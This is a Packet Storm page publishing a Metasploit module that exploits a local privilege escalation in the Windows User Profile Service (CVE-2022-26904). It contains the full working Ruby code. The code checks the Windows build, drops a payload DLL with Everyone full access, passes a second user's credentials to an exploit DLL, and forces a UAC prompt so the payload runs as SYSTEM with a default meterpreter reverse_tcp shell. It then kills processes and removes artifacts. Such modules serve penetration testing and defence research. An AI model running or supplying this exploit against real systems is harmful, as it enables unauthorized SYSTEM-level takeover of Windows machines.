Register | Login

packet storm
exploit the possibilities

Search …

Home | Files | News | About | Contact | &[SERVICES_TAB] | Add New

Windows User Profile Service Privlege Escalation

Authored by Grant Willcox, KLINIX5 | Site metasploit.com

Posted Apr 11, 2022

The user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability in its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of the junctions it tries to link together. Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a UAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\SYSTEM user. Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as CVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for CVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it as CVE-2022-26904.

systems | windows
advisories | CVE-2021-34484, CVE-2022-21919, CVE-2022-26904
SHA-256 | d30eae074af8b00dd694a057dd1c7a07694de0851d5e48da9ee462ed23d2a3ce

Download | Favorite | View

Related Files

Share This

X Post   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror | Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Exploit::EXE # Needed for generate_payload_dll
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'User Profile Arbitrary Junction Creation Local Privilege Elevation',
          'Description' => %q{
            The user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability
            in its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of
            the junctions it tries to link together.

            Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a
            UAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\SYSTEM user.

            Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as
            CVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for
            CVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it
            as CVE-2022-26904.

            It is important to note that the credentials supplied for the second user to log in as in this exploit must be
            those of a normal non-admin user and these credentials must also corralate with a user who has already logged in
            at least once before. Additionally the current user running the exploit must have UAC set to the highest level,
            aka "Always Notify Me When", in order for the code to be executed as NT AUTHORITY\SYSTEM. Note however that
            "Always Notify Me When" is the default UAC setting on common Windows installs, so this would only affect instances
            where this setting has been changed either manually or as part of the installation process.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'KLINIX5', # Aka Abdelhamid Naceri. Original PoC w Patch Bypass
            'Grant Willcox' # Metasploit module + Tweaks to PoC
          ],
          'Arch' => [ ARCH_X64 ],
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'Targets' => [
            [ 'Windows 11', { 'Arch' => ARCH_X64 } ]
          ],
          'References' => [
            ['CVE', '2022-26904'],
            ['URL', 'https://github.com/rmusser01/SuperProfile'], # Original link was at https://github.com/klinix5/SuperProfile/ but
was taken down. This is a backup.
            ['URL', 'https://web.archive.org/web/20220222105232/https://halove23.blogspot.com/2022/02/blog-post.html'], # Original
blog post
            ['URL', 'https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx'] # Discussion of previous iterations of this bug
providing insight into patched functionality.
          ],
          'DisclosureDate' => '2022-03-17', # Date MSRC supplied CVE number, bug is not patched atm.
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [ CRASH_SAFE, ],
            'Reliability' => [ REPEATABLE_SESSION ], # Will need to double check this as this may require some updates to the code to
get it to the point where it can be used repetitively.
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS, AUDIO_EFFECTS ]
          },
          'DefaultOptions' => {
            'EXITFUNC' => 'thread',
            'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
```

Follow us on Twitter

Follow us on Facebook

Subscribe to an RSS Feed

File Archive: November 2024 <

Su	Mo	Tu	We	Th	Fr	Sa
					1	2
3	4	5	6	7	8	9
10	11	12	13	14	15	16
17	18	19	20	21	22	23
24	25	26	27	28	29	30

Top Authors In Last 30 Days

Red Hat 251 files
Ubuntu 64 files
indoushka 35 files
LiquidWorm 29 files
Debian 23 files
Apple 10 files
Google Security Research 8 files
Emiliano Febbi 4 files
Seth Jenkins 4 files
nu11secur1ty 3 files

File Tags

ActiveX (933)
Advisory (87,387)
Arbitrary (17,178)
BBS (2,859)
Bypass (1,935)
CGI (1,049)
Code Execution (7,973)
Conference (693)
Cracker (845)
CSRF (3,440)
DoS (25,412)
Encryption (2,397)
Exploit (54,477)
File Inclusion (4,280)
File Upload (1,028)
Firewall (822)
Info Disclosure (2,938)
Intrusion Detection (923)
Java (3,166)
JavaScript (911)
Kernel (7,349)
Local (14,883)
Magazine (587)

File Archives

November 2024
October 2024
September 2024
August 2024
July 2024
June 2024
May 2024
April 2024
March 2024
February 2024
January 2024
December 2023
Older

Systems

AIX (430)
Apple (2,126)
BSD (378)
CentOS (61)
Cisco (1,954)
Debian (7,153)
Fedora (1,693)
FreeBSD (1,247)

```
          'WfsDelay' => 300
        },
        'AKA' => [ 'SuperProfile' ]
      }
    )
  )

  register_options([
    OptString.new('LOGINUSER', [true, 'Username of the secondary normal privileged user to log in as. Cannot be the same as the
current user!']),
    OptString.new('LOGINDOMAIN', [true, 'Domain that the LOGINUSER belongs to. Ensures we log into the right domain.', '.']),
    OptString.new('LOGINPASSWORD', [true, 'Password for the secondary normal privileged user to log in as'])
  ])
end

def check
  sysinfo_value = sysinfo['OS']

  if sysinfo_value !~ /windows/i
    # Non-Windows systems are definitely not affected.
    return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
  end

  # see https://docs.microsoft.com/en-us/windows/release-information/
  unless sysinfo_value =~ /(7|8|8\.1|10|11|2008|2012|2016|2019|2022|1803|1903|1909|2004)/
    return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
  end

  print_status('Checking if PromptOnSecureDesktop mitigation applied...')
  reg_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System'
  reg_val = 'PromptOnSecureDesktop'
  begin
    root_key, base_key = @session.sys.registry.splitkey(reg_key)
    value = @session.sys.registry.query_value_direct(root_key, base_key, reg_val)
  rescue Rex::Post::Meterpreter::RequestError => e
    return CheckCode::Unknown("Was not able to retrieve the PromptOnSecureDesktop value. Error was #{e}")
  end

  if value.data == 0
    return CheckCode::Safe('PromptOnSecureDesktop is set to 0, mitigation applied!')
  elsif value.data == 1
    print_good('PromptOnSecureDesktop is set to 1, should be safe to proceed!')
  else
    return CheckCode::Unknown("PromptOnSecureDesktop was not set to a known value, are you sure the target system isn't corrupted?")
  end

  _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')
  major_minor_version = sysinfo_value.match(/\((\d{1,2}\.\d)/)
  if major_minor_version.nil?
    return CheckCode::Unknown("Could not retrieve the major n minor version of the target's build number!")
  end

  major_minor_version = major_minor_version[1]
  build_num = "#{major_minor_version}.#{build}.#{revision}"

  build_num_gemversion = Rex::Version.new(build_num)

  # Build numbers taken from https://www.gaijin.at/en/infos/windows-version-numbers and from
  # https://en.wikipedia.org/wiki/Windows_11_version_history and https://en.wikipedia.org/wiki/Windows_10_version_history
  if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) # Windows 11
    return CheckCode::Appears('Vulnerable Windows 11 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) # Windows Server 2022
    return CheckCode::Appears('Vulnerable Windows 11 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) # Windows 10 21H2
    return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) # Windows 10 21H1
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) # Windows 10 20H2 / Windows Server, Version 20H2
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) # Windows 10 v2004 / Windows Server v2004
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v2004 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) # Windows 10 v1909 / Windows Server v1909
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) # Windows 10 v1903
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) # Windows 10 v1809 / Windows Server 2019 v1809
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) # Windows 10 v1803
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) # Windows 10 v1709
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) # Windows 10 v1703
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) # Windows 10 v1607 / Windows Server 2016 v1607
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) # Windows 10 v1511
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) # Windows 10 v1507
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) # Windows 8.1/Windows Server 2012 R2
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) # Windows 8/Windows Server 2012
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) # Windows 7 SP1/Windows Server 2008 R2 SP1
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) # Windows 7/Windows Server 2008 R2
    target_not_presently_supported
    return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
  elsif (build_num_gemversion >= Rex::Version.new('6.0.6002.0')) # Windows Server 2008 SP2
    target_not_presently_supported
    return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
  else
    return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
  end
end

def target_not_presently_supported
  print_warning('This target is not presently supported by this exploit. Support may be added in the future!')
  print_warning('Attempts to exploit this target with this module WILL NOT WORK!')
```

Overflow (13,260)
Perl (1,435)
PHP (5,331)
Proof of Concept (2,420)
Protocol (3,759)
Python (1,673)
Remote (31,978)
Root (3,677)
Rootkit (531)
Ruby (644)
Scanner (1,661)
Security Tool (8,066)
Shell (3,325)
Shellcode (1,219)
Sniffer (905)
Spoof (2,310)
SQL Injection (16,751)
TCP (2,465)
Trojan (690)
UDP (921)
Virus (675)
Vulnerability (33,237)
Web (10,176)
Whitepaper (3,786)
x86 (970)
XSS (18,340)
Other
Gentoo (4,599)
HPUX (881)
iOS (393)
iPhone (108)
IRIX (220)
Juniper (71)
Linux (51,749)
Mac OS X (696)
Mandriva (3,105)
NetBSD (256)
OpenBSD (490)
RedHat (17,187)
Slackware (941)
Solaris (1,615)
SUSE (1,444)
Ubuntu (9,958)
UNIX (9,472)
UnixWare (188)
Windows (6,784)
Other

```
  end

  def check_target_is_running_supported_windows_version
    if !sysinfo['OS'].include?('Windows')
      fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
    elsif !sysinfo['OS'].include?('Windows 10') && !sysinfo['OS'].include?('Windows 11') && !sysinfo['OS'].include?('Windows Server
2022')
      fail_with(Failure::NoTarget, 'Target is running Windows, its not a version this module supports! Bailing...')
    end
  end

  def exploit
    # Step 1: Check target environment is correct.
    print_status('Step #1: Checking target environment...')
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end
    check_target_is_running_supported_windows_version

    # Step 2: Generate the malicious DLL and upload it to a temp location.
    payload_dll = generate_payload_dll
    print_status("Payload DLL is #{payload_dll.length} bytes long")
    temp_directory = session.sys.config.getenv('%TEMP%')
    malicious_dll_location = "#{temp_directory}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
    print_status("Writing malicious DLL to #{malicious_dll_location}")
    write_file(malicious_dll_location, payload_dll)

    print_status('Marking DLL as full access for Everyone so that there are no access issues as the secondary user...')
    cmd_exec("icacls #{malicious_dll_location} /grant Everyone:(F)")
    register_file_for_cleanup(malicious_dll_location)

    # Register the directories we create for cleanup
    register_dir_for_cleanup('C:\\Windows\\System32\\Narrator.exe.Local')
    register_dir_for_cleanup('C:\\Users\\TEMP')

    # Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.
    print_status('Step #3: Loading the exploit DLL to run the main exploit...')
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-26904', 'CVE-2022-26904.dll')
    library_path = ::File.expand_path(library_path)

    dll_info_parameter = datastore['LOGINUSER'].to_s + '||' + datastore['LOGINDOMAIN'].to_s + '||' + datastore['LOGINPASSWORD'].to_s +
'||' + malicious_dll_location.to_s

    @session_obtained_bool = false
    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation, and the credentials for the second user.
    execute_dll(library_path, dll_info_parameter)

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
    print_warning("Cleanup may not occur automatically if you aren't using a Meterpreter payload so make sure to run the following
command upon session completion:")
    print_warning('taskkill /IM "consent.exe" /F || taskkill /IM "narrator.exe" /F || taskkill /IM "narratorquickstart.exe" /F ||
taskkill /IM "msiexec.exe" || rmdir /q /s C:\Users\TEMP || rmdir /q /s C:\Windows\System32\Narrator.exe.local')
    print_warning('You may need to run this more than once to ensure these files are properly deleted and Narrator.exe actually
closes!')

    print_status('Sleeping for 60 seconds before trying to spawn UserAccountControlSettings.exe as a backup.')
    print_status('If you get a shell back before this, feel free to CTRL+C once the shell has successfully returned.')
    sleep(60)
    if (@session_obtained_bool == false)
      # Execute a command that requires elevation to cause the UAC prompt to appear. For some reason the DLL code itself
      # triggering the UAC prompt won't work at times so this is the best way of solving this issue for cases where this happens.
      begin
        cmd_exec('UserAccountControlSettings.exe')
      rescue Rex::TimeoutError
        print_warning('Will need to get user to click on the flashing icon in the taskbar to open the UAC prompt and give us shells!')
      end
    end
  end

  def on_new_session(new_session)
    @session_obtained_bool = true
    old_session = @session
    @session = new_session
    if new_session.type == 'meterpreter'
      consent_pids = pidof('consent.exe')
      for id in consent_pids
        @session.sys.process.kill(id)
      end
      sleep(5) # Needed as otherwise later folder deletion calls sometimes fail, and additional Narrator.exe processes
      # can sometimes spawn a few seconds after we close consent.exe so we want to grab all of them at once.
      narrator_pids = pidof('Narrator.exe')
      for id in narrator_pids
        @session.sys.process.kill(id)
      end
      narrator_pids = pidof('NarratorQuickStart.exe')
      for id in narrator_pids
        @session.sys.process.kill(id)
      end
      narrator_pids = pidof('msiexec.exe')
      for id in narrator_pids
        @session.sys.process.kill(id)
      end
    else
      # If it is another session type such as shell or PowerShell we will need to execute the command
      # normally using cmd_exec() to cleanup, as it doesn't seem we have a built in option to kill processes
      # by name or PIDs as library functions for these session types.
      cmd_exec('taskkill /IM "consent.exe" /F')
      sleep(5)
      cmd_exec('taskkill /IM "narrator.exe" /F')
      cmd_exec('taskkill /IM "narratorquickstart.exe" /F')
      cmd_exec('taskkill /IM "msiexec.exe" /F')
    end

    rm_rf('C:\\Windows\\System32\\Narrator.exe.local')
    for _i in range(1..3)
      rm_rf('C:\\Users\\TEMP') # Try deleting this 3 times just to be sure.
    end
    @session = old_session
    super
  end
end
```

Login or Register to add favorites

© 2024 Packet Storm. All rights reserved.